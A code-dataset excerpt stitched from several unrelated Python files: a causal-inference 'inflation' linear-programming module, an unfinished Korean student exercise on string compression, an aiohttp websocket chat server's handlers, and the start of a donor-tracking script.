marginal_on_XY = np.einsum(self.data_reshaped, all_original_indices, X + Y)\n # marginal_on_XZ = np.einsum(self.data_reshaped, all_original_indices, X + Z)\n # marginal_on_X = np.einsum(marginal_on_XY, X + Y, X)\n #\n # numeric_b_block = np.einsum(marginal_on_XY, X + Y,\n # marginal_on_XZ, X + Z,\n # np.divide(1.0, marginal_on_X), X,\n # YXZ).ravel()\n # numeric_b_block[np.isnan(numeric_b_block)] = 0 # Conditioning on zero probability events\n # np.seterr(divide='warn')\n #\n\n\n def print_assessment(self):\n super().print_assessment(wait_for_more=True)\n list_of_strings_to_string = lambda l: '[' + ','.join(l) + ']'\n tuples_of_strings_to_string = lambda l: '(' + ','.join(l) + ')'\n print(\"For inflation order %s:\" % self.inflations_orders)\n print(\"The inflated diagonal expressible set is given by:\")\n print(self.diagonal_expressible_set)\n print(\"And we count \" + str(len(self.extra_expressible_sets)) + \" other expressible sets, namely:\")\n for nonai_exp_set in self.inflated_offdiagonal_expressible_sets:\n print(nonai_exp_set)\n print('\\u2500' * 80 + '\\n')\n\n\n\n\n\n# class ExpressibleSet_WithCardinalities(ExpressibleSet):\n# def __init__self(self, partitioned_eset_inflated_indices, composition_rule, inflated_names, inflated_cardinalities):\n# ExpressibleSet__init__self(self, partitioned_eset_inflated_indices, composition_rule, inflated_names)\n# self.inflated_cardinalities = inflated_cardinalities\n# self.shape = tuple(np.take(self.inflated_cardinalities, self.flat_eset))\n#\n#\n# @property\n# def symbolic_b_block(self):\n# return list(map(self._symbolic_element_from_intlist, np.ndindex(self.shape)))\n\n\n\n\n\n # This is were we compute block of the AMatrix, and the symbolic probabilities. Maybe we can create a partial function to act on the list of actual probabilities?\n\n\n #\n # def Numeric_and_Symbolic_b_block_NON_AI_EXPR(self, eset):\n # names = self.names[self.latent_count:]\n # all_original_indices = np.arange(self.observed_count)\n # Y = list(eset[0])\n # X = list(eset[1])\n # Z = list(eset[2])\n #\n # YXZ = sorted(Y + X + Z) # see InflateOneExpressibleSet in graphs.py\n # lenY = len(Y)\n # lenX = len(X)\n # lenZ = len(Z)\n # lenYXZ = len(YXZ)\n #\n # np.seterr(divide='ignore')\n #\n # marginal_on_XY = np.einsum(self.data_reshaped, all_original_indices, X + Y)\n # marginal_on_XZ = np.einsum(self.data_reshaped, all_original_indices, X + Z)\n # marginal_on_X = np.einsum(marginal_on_XY, X + Y, X)\n #\n # numeric_b_block = np.einsum(marginal_on_XY, X + Y,\n # marginal_on_XZ, X + Z,\n # np.divide(1.0, marginal_on_X), X,\n # YXZ).ravel()\n # numeric_b_block[np.isnan(numeric_b_block)] = 0 # Conditioning on zero probability events\n # np.seterr(divide='warn')\n #\n\n\nclass InflationGraph_WithCardinalities(InflatedGraph):\n # WORK IN PROGRESS\n # The\n def __init__(self, rawgraph, inflation_order, cardinalities_list):\n InflatedGraph.__init__(self, rawgraph, inflation_order)\n\n self.inflated_cardinalities_array = np.repeat(cardinalities_list, self.inflation_copies)\n self.inflated_cardinalities_tuple = tuple(self.inflated_cardinalities_array.tolist())\n self.column_count = self.inflated_cardinalities_array.prod()\n self.shaped_column_integers = np.arange(self.column_count).reshape(self.inflated_cardinalities_tuple)\n\n\n\n\nclass ObservationalData:\n\n @staticmethod\n def MixedCardinalityBaseConversion(cardinality, string):\n card = np.array([cardinality[i] ** (len(cardinality) - (i + 1)) for i in range(len(cardinality))])\n str_to_array = np.array([int(i) for i in string])\n return np.dot(card, str_to_array)\n\n def __init__(self, rawdata, cardinality):\n\n if isinstance(rawdata,\n int): # When only the number of observed variables is specified, but no actual data, we fake it.\n if isinstance(cardinality, int): # When cardinality is specified as an integer\n self.observed_count = rawdata\n self.original_card_product = cardinality ** self.observed_count\n self.data_flat = np.full(self.original_card_product, 1.0 / self.original_card_product)\n self.size = self.data_flat.size\n self.cardinalities_array = np.full(self.observed_count, cardinality)\n else: # When cardinalities are specified as a list\n if not isinstance(cardinality, (list, tuple, np.ndarray)):\n raise TypeError(\"Cardinality not given as list of integers.\")\n self.observed_count = rawdata\n self.original_card_product = np.prod(cardinality)\n self.data_flat = np.full(self.original_card_product, 1.0 / self.original_card_product)\n self.size = self.data_flat.size\n if self.observed_count !=len(cardinality):\n raise ValueError(\"Cardinality specification does not match the number of observed variables.\")\n self.cardinalities_array = np.array(cardinality)\n\n elif isinstance(rawdata[0],\n str): # When the input is in the form ['101','100'] for support certification purposes\n numevents = len(rawdata)\n if isinstance(cardinality, int): # When cardinality is specified as an integer\n self.observed_count = len(rawdata[0])\n self.original_card_product = cardinality ** self.observed_count\n data = np.zeros(self.original_card_product)\n data[list(map(lambda s: int(s, cardinality), rawdata))] = 1 / numevents\n self.data_flat = data\n self.size = self.data_flat.size\n self.cardinalities_array = np.full(self.observed_count, cardinality)\n else: # When cardinalities are specified as a list\n if not isinstance(cardinality, (list, tuple, np.ndarray)):\n raise TypeError(\"Cardinality not given as list of integers.\")\n self.observed_count = len(rawdata[0])\n self.original_card_product = np.prod(cardinality)\n data = np.zeros(self.original_card_product)\n data[list(map(lambda s: self.MixedCardinalityBaseConversion(cardinality, s), rawdata))] = 1 / numevents\n self.data_flat = data\n self.size = self.data_flat.size\n if self.observed_count !=len(cardinality):\n raise ValueError(\"Cardinality specification does not match the number of observed variables.\")\n self.cardinalities_array = np.array(cardinality)\n\n else:\n self.data_flat = np.array(rawdata).ravel()\n self.size = self.data_flat.size\n norm = np.linalg.norm(self.data_flat, ord=1)\n if norm == 0:\n self.data_flat = np.full(1.0 / self.size, self.size)\n else: # Manual renormalization.\n self.data_flat = self.data_flat / norm\n if isinstance(cardinality, int): # When cardinality is specified as an integer\n self.observed_count = np.rint(np.divide(np.log(self.size), np.log(cardinality))).astype(np.int)\n self.original_card_product = cardinality ** self.observed_count\n if self.original_card_product != self.size:\n raise ValueError(\"Cardinality of individual variable could not be inferred.\")\n self.cardinalities_array = np.full(self.observed_count, cardinality)\n else: # When cardinalities are specified as a list\n if not isinstance(cardinality, (list, tuple, np.ndarray)):\n raise TypeError(\"Cardinality not given as list of integers.\")\n self.observed_count = len(cardinality)\n self.original_card_product = np.prod(cardinality)\n if self.observed_count !=len(cardinality):\n raise ValueError(\"Cardinality specification does not match the data.\")\n self.cardinalities_array = np.array(cardinality)\n self.cardinalities_tuple = tuple(self.cardinalities_array.tolist())\n self.data_reshaped = np.reshape(self.data_flat, self.cardinalities_tuple)\n\n\nclass InflationProblem(InflatedGraph, ObservationalData):\n\n def __init__(self, rawgraph, rawdata, card, inflation_order):\n InflatedGraph.__init__(self, rawgraph, inflation_order)\n ObservationalData.__init__(self, rawdata, card)\n\n self.original_cardinalities_array = self.cardinalities_array\n self.original_cardinalities_tuple = self.cardinalities_tuple\n self.original_size = self.size\n\n self.inflated_cardinalities_array = np.repeat(self.original_cardinalities_array, self.inflation_copies)\n self.inflated_cardinalities_tuple = tuple(self.inflated_cardinalities_array.tolist())\n self.column_count = self.inflated_cardinalities_array.prod()\n self.shaped_column_integers = np.arange(self.column_count).reshape(self.inflated_cardinalities_tuple)\n\n @cached_property\n def shaped_column_integers_marked(self):\n column_integers_marked = self.shaped_column_integers.copy()\n for detrule in self.inflated_determinism_checks:\n # det rule comes as a list with four elements\n initialtranspose = MoveToFront(self.inflated_observed_count, np.hstack(tuple(detrule)))\n inversetranspose = np.argsort(initialtranspose)\n parents_card_product = self.inflated_cardinalities_array.take(detrule[1]).prod()\n child_cardinality = np.atleast_1d(self.inflated_cardinalities_array.take(detrule[-1])).prod()\n intermediateshape = (parents_card_product, parents_card_product, child_cardinality, child_cardinality, -1)\n column_integers_marked = column_integers_marked.transpose(tuple(initialtranspose)).reshape(\n intermediateshape)\n for i in np.arange(parents_card_product):\n for j in np.arange(child_cardinality - 1):\n for k in np.arange(j + 1, child_cardinality):\n column_integers_marked[i, i, j, k] = -1\n column_integers_marked = column_integers_marked.reshape(self.inflated_cardinalities_tuple).transpose(\n tuple(inversetranspose))\n return column_integers_marked\n\n @cached_property\n def valid_column_orbits(self):\n AMatrix = orbits_of_object_under_group_action(\n self.shaped_column_integers_marked,\n self.inflation_group_elements).T\n AMatrix = np.compress(AMatrix[0]>=0, AMatrix, axis=1)\n #AMatrix = np.compress(minima == np.abs(AMatrix[0]), AMatrix, axis=1)\n return AMatrix\n\n @cached_property\n def EncodedMonomialToRow(\n self): # Cached in memory, as this function is called by both inflation matrix and inflation vector construction.\n shape_of_eset = self.inflated_cardinalities_array.take(self.diagonal_expressible_set)\n size_of_eset = shape_of_eset.prod()\n MonomialIntegers = np.arange(size_of_eset).reshape(shape_of_eset)\n minimize_object_under_group_action(\n MonomialIntegers,\n self.diagonal_expressible_set_symmetry_group)\n # print(MonomialIntegers.shape)\n # print(np.array(list(self.diagonal_expressible_set_symmetry_group)))\n # for index_permutation in self.diagonal_expressible_set_symmetry_group:\n # np.minimum(\n # MonomialIntegers,\n # MonomialIntegers.transpose(index_permutation),\n # out=MonomialIntegers)\n return PositionIndex(MonomialIntegers.ravel())\n\n def EncodedColumnToMonomial(self, expr_set):\n # Can be used for off-diagonal expressible sets with no adjustment!\n expr_set_size = self.inflated_cardinalities_array.take(expr_set).prod()\n\n ColumnIntegers = self.shaped_column_integers.transpose(\n MoveToBack(self.inflated_observed_count, np.array(expr_set))).reshape(\n (-1, expr_set_size))\n EncodingColumnToMonomial = np.empty(self.column_count, np.int)\n EncodingColumnToMonomial[ColumnIntegers] = np.arange(expr_set_size)\n return EncodingColumnToMonomial\n\n @property\n def EncodedA(self):\n result = self.EncodedMonomialToRow.take(self.EncodedColumnToMonomial(self.diagonal_expressible_set)).take(\n self.valid_column_orbits)\n result.sort(axis=0) \n return result\n\n @property\n def EncodedA_ExtraExpressible(self):\n\n row_blocks_count = len(self.inflated_offdiagonal_expressible_sets) + 1\n results = np.empty(np.hstack((row_blocks_count, self.valid_column_orbits.shape)), np.uint32)\n results[0] = self.EncodedMonomialToRow.take(self.EncodedColumnToMonomial(self.diagonal_expressible_set)).take(\n self.valid_column_orbits)\n for i in np.arange(1, row_blocks_count):\n results[i] = self.EncodedColumnToMonomial(self.inflated_offdiagonal_expressible_sets[i - 1]).take(\n self.valid_column_orbits)\n accumulated = np.add.accumulate(np.amax(results, axis=(1, 2)) + 1)\n offsets = np.hstack(([0], accumulated[:-1]))\n return np.hstack(results + offsets[:, np.newaxis, np.newaxis])\n\n def InflationMatrix(self, extra_expressible=True):\n \"\"\"\n Parameters\n ----------\n \n extra_expressible : bool,optional\n If True the rows representing the non-cannonical expressible sets are included in the marginal description matrix (default set to False)\n \n Returns\n -------\n InflationMatrix : scipy.sparse.coo.coo_matrix\n The marginal description matrix in the form of a sparse matrix in COOrdinate format.\n \n Notes\n -----\n \n The columns of the marginal description matrix correspond to different strategies (permutations of the inflated observable variable values) such as:\n \n .. math:: P(A_{1},A_{2},...,A_{N},B_{1},...,B_{N},C_{1},...,C_{N})=P(1,0,1,1,...,0) \n \n For the triangle scenario with cardinality 2 where :math:`N` is the inflation order. The rows of this matrix correspond to the marginal distributions containing the inflated observable variables in the expressible sets such as:\n \n .. math:: P(A_{1},B_{1},C_{1},A_{4},B_{4},C_{4})=P(0,1,1,0,1,1)\n \n Which is a cannonical expressible set of the same scenario where :math:`N=2`. It can be used in a linear program for an infeasibility certificate (see ``inflation.moseklp.InfeasibilityCertificate``) and/or for a set of inequalities that must be satisfied for the compatibility of the distribution (see ``inflation.certificate.Inequality``).\n \n Examples\n --------\n For the triangle scenario with cardinality 4 and an inflation order of 2:\n \n >>> g=igraph.Graph.Formula(\"X->A,Y->A:B,Z->B:C,X->C\")\n >>> card=4\n >>> inflation_order=2\n \n We would expect to obtain a marginal description matrix with 2123776 columns (reduced from :math:`4^{12}=16777216` by imposing the symmetry conditions of the copy indecies on different strategies) and 2080 rows (reduced from :math:`4^{6}=4096` by imposing the same symmetry conditions on the expressible sets):\n \n >>> InfMat = InflationMatrix(extra_expressible=False)\n >>> print(InfMat.shape)\n >>> (2080, 2123776)\n \n \"\"\"\n\n if extra_expressible:\n return SparseMatrixFromRowsPerColumn(self.EncodedA_ExtraExpressible)\n else:\n return SparseMatrixFromRowsPerColumn(self.EncodedA)\n\n def _numeric_marginal(self, inflation_variables_indices):\n return np.einsum(self.data_reshaped, np.arange(self.observed_count),\n self.from_inflation_indices.take(inflation_variables_indices))\n\n def _numeric_marginal_product(self, lists_of_inflation_variables_indices):\n einsum_input = list(\n itertools.chain.from_iterable(((self._numeric_marginal(inflation_variables_indices), inflation_variables_indices)\n for inflation_variables_indices\n in lists_of_inflation_variables_indices)))\n einsum_input.append(list(itertools.chain.from_iterable(lists_of_inflation_variables_indices)))\n return np.einsum(*einsum_input).ravel()\n\n def _symbolic_marginal(self, inflation_variables_indices):\n original_variables_indices = self.from_inflation_indices.take(inflation_variables_indices)\n names = np.take(self.names[self.latent_count:], original_variables_indices)\n names_part = 'P[' + ''.join(names.tolist()) + ']('\n newshape = tuple(self.inflated_cardinalities_array.take(inflation_variables_indices))\n return [names_part + ''.join([''.join(str(i)) for i in multi_index]) + ')' for multi_index in\n np.ndindex(newshape)]\n\n def _symbolic_marginal_product(self, lists_of_inflation_variables_indices):\n s= list(itertools.starmap(itertools.chain, itertools.product(*map(self._symbolic_marginal, lists_of_inflation_variables_indices))))\n \n for i in range(len(s)):\n \n j=list(s[i])\n s[i]=''.join(j)\n \n return s\n\n def Numeric_and_Symbolic_b_block_DIAGONAL(self):\n s, idx, counts = np.unique(self.EncodedMonomialToRow, return_index=True, return_counts=True)\n pre_numeric_b = np.array(self.data_flat)\n\n numeric_b = self._numeric_marginal_product(self.partitioned_expressible_set)\n symbolic_b = self._symbolic_marginal_product(self.partitioned_expressible_set)\n\n numeric_b_block = np.multiply(numeric_b.take(idx), counts)\n string_multipliers = ('' if i == 1 else str(i) + '*' for i in counts)\n symbolic_b_block = [s1 + s2 for s1, s2 in zip(string_multipliers, np.take(symbolic_b, idx))]\n return numeric_b_block, symbolic_b_block\n\n def Numeric_and_Symbolic_b_block_NON_AI_EXPR(self, eset):\n names = self.names[self.latent_count:]\n all_original_indices = np.arange(self.observed_count)\n Y = list(eset[0])\n X = list(eset[1])\n Z = list(eset[2])\n\n YXZ = sorted(Y + X + Z) # see InflateOneExpressibleSet in graphs.py\n lenY = len(Y)\n lenX = len(X)\n lenZ = len(Z)\n lenYXZ = len(YXZ)\n\n np.seterr(divide='ignore')\n\n marginal_on_XY = np.einsum(self.data_reshaped, all_original_indices, X + Y)\n marginal_on_XZ = np.einsum(self.data_reshaped, all_original_indices, X + Z)\n marginal_on_X = np.einsum(marginal_on_XY, X + Y, X)\n\n numeric_b_block = np.einsum(marginal_on_XY, X + Y,\n marginal_on_XZ, X + Z,\n np.divide(1.0, marginal_on_X), X,\n YXZ).ravel()\n numeric_b_block[np.isnan(numeric_b_block)] = 0 # Conditioning on zero probability events\n np.seterr(divide='warn')\n\n lowY = np.arange(lenY).tolist()\n lowX = np.arange(lenY, lenY + lenX).tolist()\n lowZ = np.arange(lenY + lenX, lenY + lenX + lenZ).tolist()\n\n newshape = tuple(self.inflated_cardinalities_array.take(YXZ))\n\n symbolic_b_block = [\n 'P[' + ''.join(np.take(names, np.take(YXZ, lowY)).tolist()) + '|' +\n ''.join(np.take(names, np.take(YXZ, lowX)).tolist()) + '](' +\n ''.join([''.join(str(i)) for i in np.take(idYXZ, lowY)]) + '|' +\n ''.join([''.join(str(i)) for i in np.take(idYXZ, lowX)]) + ')' +\n 'P[' + ''.join(np.take(names, np.take(YXZ, lowZ)).tolist()) + '|' +\n ''.join(np.take(names, np.take(YXZ, lowX)).tolist()) + '](' +\n ''.join([''.join(str(i)) for i in np.take(idYXZ, lowZ)]) + '|' +\n ''.join([''.join(str(i)) for i in np.take(idYXZ, lowX)]) + ')' +\n 'P[' + ''.join(np.take(names, np.take(YXZ, sorted(lowX))).tolist()) + '](' +\n ''.join([''.join(str(i)) for i in np.take(idYXZ, sorted(lowX))]) + ')'\n for idYXZ in np.ndindex(newshape)]\n\n return numeric_b_block, symbolic_b_block\n\n def numeric_and_symbolic_b(self, extra_expressible=True):\n if not extra_expressible:\n return self.Numeric_and_Symbolic_b_block_DIAGONAL()\n else:\n numeric_b, symbolic_b = self.Numeric_and_Symbolic_b_block_DIAGONAL()\n # How should we compute the marginal probability?\n # Given P(ABC) how do we obtain P(AB)P(BC)/P(B) as a vector of appropriate length?\n\n original_extra_ex = [\n tuple(map(lambda orig_node_indices: np.array(orig_node_indices) - self.latent_count, e_set[:-1])) for\n e_set in self.extra_expressible_sets]\n\n for eset in original_extra_ex:\n numeric_b_block, symbolic_b_block = self.Numeric_and_Symbolic_b_block_NON_AI_EXPR(eset)\n numeric_b.resize(len(numeric_b) + len(numeric_b_block))\n numeric_b[-len(numeric_b_block):] = numeric_b_block\n symbolic_b.extend(symbolic_b_block)\n return numeric_b, symbolic_b\n\n\nclass InflationLP(InflationProblem):\n\n def __init__(self, rawgraph, rawdata, card, inflation_order, extra_ex, solver):\n\n InflationProblem.__init__(self, rawgraph, rawdata, card, inflation_order)\n\n self.numeric_b, self.symbolic_b = self.numeric_and_symbolic_b(extra_expressible=extra_ex)\n self.InfMat = self.InflationMatrix(extra_expressible=extra_ex)\n \n if not ((solver == 'moseklp') or (solver == 'CVXOPT') or (solver == 'mosekAUTO')):\n raise TypeError(\"The accepted solvers are: 'moseklp', 'CVXOPT' and 'mosekAUTO'\")\n\n if solver == 'moseklp':\n\n self.solve = InfeasibilityCertificate(self.InfMat, self.numeric_b)\n\n elif solver == 'CVXOPT':\n\n self.solve = InflationLP(self.InfMat, self.numeric_b)\n\n elif solver == 'mosekAUTO':\n\n self.solve = InfeasibilityCertificateAUTO(self.InfMat, self.numeric_b)\n\n self.tol = self.solve[\n 'gap'] / 10 # TODO: Choose better tolerance function. This is yielding false incompatibility claims.\n self.yRaw = np.array(self.solve['x']).ravel()\n\n def WitnessDataTest(self, y):\n IncompTest = (np.amin(y) < 0) and (np.dot(y, self.numeric_b) < self.tol)\n if IncompTest:\n print('Distribution Compatibility Status: INCOMPATIBLE')\n else:\n print('Distribution Compatibility Status: COMPATIBLE')\n return IncompTest\n\n\n def Inequality(self,output=[]):\n # Modified Feb 2, 2021 to pass B_symbolic as an argument for Inequality\n # Modified Feb 25, 2021 to accept custom output options from user\n if self.WitnessDataTest(self.yRaw):\n y = IntelligentRound(self.yRaw, self.InfMat)\n \n if output==[]:\n \n idxtally=indextally(y)\n symtally=symboltally(indextally(y),self.symbolic_b)\n ineq_as_str=inequality_as_string(y,self.symbolic_b)\n\n print(\"Writing to file: 'inequality_output.json'\")\n\n returntouser = {\n 'Raw solver output': self.yRaw.tolist(),\n 'Inequality as string': ineq_as_str,\n 'Coefficients grouped by index': idxtally,\n 'Coefficients grouped by symbol': symtally,\n 'Clean solver output': y.tolist()\n }\n f = open('inequality_output.json', 'w')\n print(json.dumps(returntouser), file=f)\n f.close()\n \n else:\n returntouser={}\n \n if 'Raw solver output' in output:\n returntouser['Raw solver output']=self.yRaw.tolist()\n if 'Inequality as string' in output:\n ineq_as_str=inequality_as_string(y,self.symbolic_b)\n returntouser['Inequality as string']=ineq_as_str\n if 'Coefficients grouped by index' in output:\n idxtally=indextally(y)\n returntouser['Coefficients grouped by index']=idxtally\n if 'Coefficients grouped by symbol' in output:\n symtally=symboltally(indextally(y),self.symbolic_b)\n returntouser['Coefficients grouped by symbol']=symtally\n if 'Clean solver output' in output:\n returntouser['Clean solver output']=y.tolist()\n \n f = open('inequality_output.json', 'w')\n print(json.dumps(returntouser), file=f)\n f.close()\n \n return returntouser\n else:\n return print('Compatibility Error: The input distribution is compatible with given inflation order test.')\n\n\nclass SupportCertificate(InflationProblem):\n\n def __init__(self, rawgraph, rawdata, card, inflation_order, extra_ex):\n\n InflationProblem.__init__(self, rawgraph, rawdata, card, inflation_order)\n\n InfMat = self.InflationMatrix(self, extra_expressible=extra_ex)\n numeric_b, symbolic_b = self.numeric_and_symbolic_b(extra_expressible=extra_ex)\n\n Rows = InfMat.row\n Cols = InfMat.col\n\n ForbiddenRowIdx = np.where(numeric_b[Rows] == 0)[0]\n ForbiddenColumnIdx = np.unique(Cols[ForbiddenRowIdx])\n\n ColumnTemp = np.ones(Cols.max() + 1)\n ColumnTemp[ForbiddenColumnIdx] = 0\n\n ForbiddenColsZeroMarked = ColumnTemp[Cols]\n\n IdxToRemove = np.where(ForbiddenColsZeroMarked == 0)[0]\n\n NewRows = np.delete(Rows, IdxToRemove)\n NewCols = np.delete(Cols, IdxToRemove)\n NewData = np.ones(len(NewCols), dtype=np.uint)\n\n NewMatrix = coo_matrix((NewData, (NewRows, NewCols)))\n\n NonzeroRows = np.nonzero(numeric_b)[0]\n self.Check = True\n\n for r in NonzeroRows:\n if self.Check:\n self.Check = NewMatrix.getrow(r).toarray().any()\n\n if self.Check:\n\n print(\"Supported\")\n\n else:\n\n print(\"Not Supported\")\n\n\nif __name__ == '__main__':\n from igraph import Graph\n\n InstrumentalGraph = Graph.Formula(\"U1->X->A->B,U2->A:B\")\n Evans14a = Graph.Formula(\"U1->A:C,U2->A:B:D,U3->B:C:D,A->B,C->D\")\n Evans14b = Graph.Formula(\"U1->A:C,U2->B:C:D,U3->A:D,A->B,B:C->D\")\n Evans14c = Graph.Formula(\"U1->A:C,U2->B:D,U3->A:D,A->B->C->D\")\n IceCreamGraph = Graph.Formula(\"U1->A,U2->B:D,U3->C:D,A->B:C,B->D\")\n BiconfoundingInstrumental = Graph.Formula(\"U1->A,U2->B:C,U3->B:D,A->B,B->C:D\")\n TriangleGraph = Graph.Formula(\"X->A,Y->A:B,Z->B:C,X->C\")\n #[InflatedGraph(g, [2, 3, 3]).print_assessment() for g in\n # (TriangleGraph, Evans14a, Evans14b, Evans14c, IceCreamGraph, BiconfoundingInstrumental)]\n\n testig = InflatedGraph(TriangleGraph, [2, 3, 3])\n testig.print_assessment()\n #print(testig._canonical_pos)\n print(testig.partitioned_expressible_set)\n print(testig.diagonal_expressible_set_V2)\n print(testig.diagonal_expressible_set_symmetry_group_V2)\n print(testig.diagonal_expressible_set_V2.take(testig.diagonal_expressible_set_symmetry_group_V2))\n","sub_path":"inflation/bora_specialized/classes.py","file_name":"classes.py","file_ext":"py","file_size_in_byte":52796,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"115750820","text":"# 파일명 및 함수명을 변경하지 마시오.\ndef summary(word):\n \"\"\"\n 아래에 코드를 작성하시오.\n word는 알파벳으로 구성되어 있습니다.\n 요약된 문자열을 반환합니다.\n \"\"\"\n result = []\n answer = []\n\n # word 를 하나씩 쪼개서 list 에 넣음 \n for w in word:\n result.append(w)\n\n # result의 값이랑 index의 전의 자리의 값이 같으면 카운트한다. \n for i, r in enumerate(result):\n if r == result[i - 1]:\n c = 1\n c += 1\n answer.append(c)\n\n # 다음 자리의 값이 같지 않으면 r 을 추가 \n else:\n answer.append(r)\n\n # 만약 숫자가 뒤에 카운트가 안됬을 경우를 완성하지 못했어요 ㅠㅠㅠ \n # for i, nono in enumerate(result):\n # if result[i + 1] not in list(range(1, 100):\n # result[i + 1].append(1)\n \n \n return answer\n\n\n\n \n\n# 실행 결과를 확인하기 위한 코드입니다. 수정하지 마시오.\nif __name__ == '__main__':\n print(summary('aabbaacc'))\n print(summary('ffgggeeeef'))\n print(summary('abcdefg'))\n","sub_path":"test/8월 월말평가/서울_3반_홍수경/서울_3반_홍수경/03.py","file_name":"03.py","file_ext":"py","file_size_in_byte":1171,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"304045807","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\nfrom aiohttp import web, WSMsgType\nfrom gbserver.message import Message\nfrom gbserver.user import User\nfrom aiohttp_session import get_session\nfrom time import time\nimport json\nfrom bson.objectid import ObjectId\n\n\nclass Test(web.View):\n\n async def get(self):\n session = await get_session(self.request)\n session['111'] = time()\n session['222'] = time()\n print(session)\n text = 'Hello, world. Test view.'\n # return web.Response(body=text.encode('utf8'))\n return web.Response(body=str(session))\n\n\nclass TestDbSave(web.View):\n\n async def get(self):\n message = Message(self.request.db)\n result = await message.save(user='test_user', msg='test_content')\n return web.json_response({'messages': str(result)})\n\n\nclass TestDbRead(web.View):\n\n async def get(self):\n message = Message(self.request.db)\n messages = await message.get_messages()\n return web.json_response({'messages': messages})\n\n\nclass SocketWorker(web.View):\n\n async def get(self):\n data = await self.request.post()\n # user_id = data.get('id')\n # print(data.get('id'))\n ws = web.WebSocketResponse()\n await ws.prepare(self.request)\n session = await get_session(self.request)\n # user = User(self.request.db, id=user_id)\n # print(user)\n # user.get()\n # print(user.login)\n # login = await user.get_login()\n login = 'user1'\n for _ws in self.request.app['websockets']:\n await _ws.send_str('{} joined.'.format(login))\n self.request.app['websockets'].append(ws)\n # async for msg in ws:\n # if msg.tp == WSMsgType.TEXT:\n # if msg.data == 'close':\n # await ws.close()\n # else:\n # message = Message(self.request.db)\n # result = await message.save(user=login, msg=msg.data)\n # print(result)\n # for _ws in self.request.app['websockets']:\n # _ws.send_str('(%s) %s' % (login, msg.data))\n # elif msg.tp == WSMsgType.ERROR:\n # print(ws.exception())\n async for msg in ws:\n print('type: ', msg.type)\n if msg.type == WSMsgType.TEXT:\n message = Message(self.request.db)\n await message.save(user=login, msg=msg.data)\n print('Received from client: {}'.format(msg.data))\n for _ws in self.request.app['websockets']:\n await _ws.send_str('{}/answer.'.format(msg.data))\n print('broadcast completed.')\n elif msg.type == WSMsgType.CLOSE:\n self.request.app['websockets'].remove(ws)\n for _ws in self.request.app['websockets']:\n await _ws.send_str('{} disconnected.'.format(login))\n print('websocket connection closed.')\n\n return ws\n\n\nclass SignUp(web.View):\n \"\"\"\n Регистрация нового пользователя.\n При успешной регистрации производится производится автоматический вход.\n Зарегистрированный пользователь имеет запись в БД.\n Залогиневшийся пользователь имеет запись в сессии.\n \"\"\"\n\n async def post(self):\n data = await self.request.post()\n user = User(self.request.db, data)\n result = await user.save()\n if isinstance(result, ObjectId):\n id = result\n session = await get_session(self.request)\n session[str(id)] = time()\n return web.Response(content_type='application/json',\n text=json.dumps({'result': str(id)}))\n else:\n return web.Response(content_type='application/json',\n text=json.dumps({'error': result}))\n\n\nclass SignIn(web.View):\n \"\"\"\n Вход на сервер по логину и паролю\n TODO сейчас проверки и шифрования пароля не будет\n \"\"\"\n\n async def post(self):\n data = await self.request.post()\n user = User(self.request.db, data)\n result = await user.check()\n if isinstance(result, ObjectId):\n id = result\n session = await get_session(self.request)\n session[str(id)] = time()\n return web.Response(content_type='application/json',\n text=json.dumps({'result': str(id)}))\n else:\n raise web.HTTPForbidden(body=b'Forbidden')\n\n\nclass SignOut(web.View):\n \"\"\"\n Запрос отправляется при смене пользователя на стороне клиента и при закрытии клиента\n \"\"\"\n\n async def post(self):\n data = await self.request.post()\n user = User(self.request.db, data)\n result = await user.check()\n session = await get_session(self.request)\n if isinstance(result, ObjectId) and session.get(str(result)):\n del session[str(result)]\n return web.Response(content_type='application/json',\n text=json.dumps({'result': str(result)}))\n else:\n raise web.HTTPForbidden(body=b'Forbidden')\n\n#\n# class Registration(web.View):\n#\n# async def get(self):\n# text = \"Registration completed successfully!\"\n# # self._logger.info(\"{} | {}\".format(__name__, text))\n# return web.Response(body=text.encode(self._encode))\n#\n#\n# class Login(web.View):\n#\n# async def get(self):\n# session = await get_session(self.request)\n# if session.get('user'):\n# url = request.app.router['main'].url()\n# raise web.HTTPFound(url)\n# return b'Please enter login or email'\n#\n#\n# class Login(web.View):\n#\n# async def get(self):\n# session = await get_session(self.request)\n# if session.get('user'):\n# url = request.app.router['main'].url()\n# raise web.HTTPFound(url)\n# return b'Please enter login or email'\n#\n#\n# class Login(web.View):\n#\n# async def get(self):\n# session = await get_session(self.request)\n# if session.get('user'):\n# url = request.app.router['main'].url()\n# raise web.HTTPFound(url)\n# return b'Please enter login or email'\n#\n# async def _handler(self, request):\n# text = \"Registration completed successfully!\"\n# self._logger.info(\"{} | {}\".format(__name__, text))\n# return web.Response(body=text.encode(self._encode))\n\n# async def user_handler(self, request):\n# name = request.match_info.get('name', \"Anonymous\")\n# text = \"Hello, \" + name\n# self._logger.info(\"{} | {}\".format(__name__, text))\n# return web.Response(body=text.encode(self._encode))\n#\n# async def synchronization_handler(self, request):\n# data = await request.post()\n# self._logger.info(\"{} | {}\".format(__name__, data))\n# self._logger.info(\"{} | {}\".format(__name__, data))\n# return web.Response(body=text.encode(self._encode))\n#\n# async def user_message_handler(self, request):\n# data = await request.post()\n# self._logger.info(\"{} | {}\".format(__name__, data))\n# return web.Response(body=text.encode(self._encode))\n","sub_path":"gbserver/handlers.py","file_name":"handlers.py","file_ext":"py","file_size_in_byte":7490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"90446430","text":"import sys\nimport copy\nimport pathlib\n\ndonors = {'Josh Hoff': [25, 75], 'Tatsiana Kisel': [35, 105.55]}\n\n#This class handles all input from the user\nclass Input(object):\n\n# donors = {'Josh Hoff': [25, 75], 'Tatsiana Kisel': [35, 105.55]}\n\n def __init__(self=None):\n pass\n \n def thank_you(self=None):\n while True:\n donor_name = input('\\nWhat is the name of the donor?: ')\n if donor_name == 'list':\n DonorCollection().show_list()\n continue\n elif donor_name == 'quit':\n break\n while True:\n try:\n donation = float(input('\\nWhat is the donation amount?: '))\n except ValueError:\n print('\\nPlease give a number instead.')\n continue\n break\n DonorCollection().add_donor(donor_name, donation)\n break\n \n def quitting(self):\n sys.exit()\n \n def continuing(self):\n print('Try Again.\\n')\n\n#this class handles all donor management\nclass Donor(object):\n def __init__(self=None, name = ''):\n global donors\n self._donors = donors\n 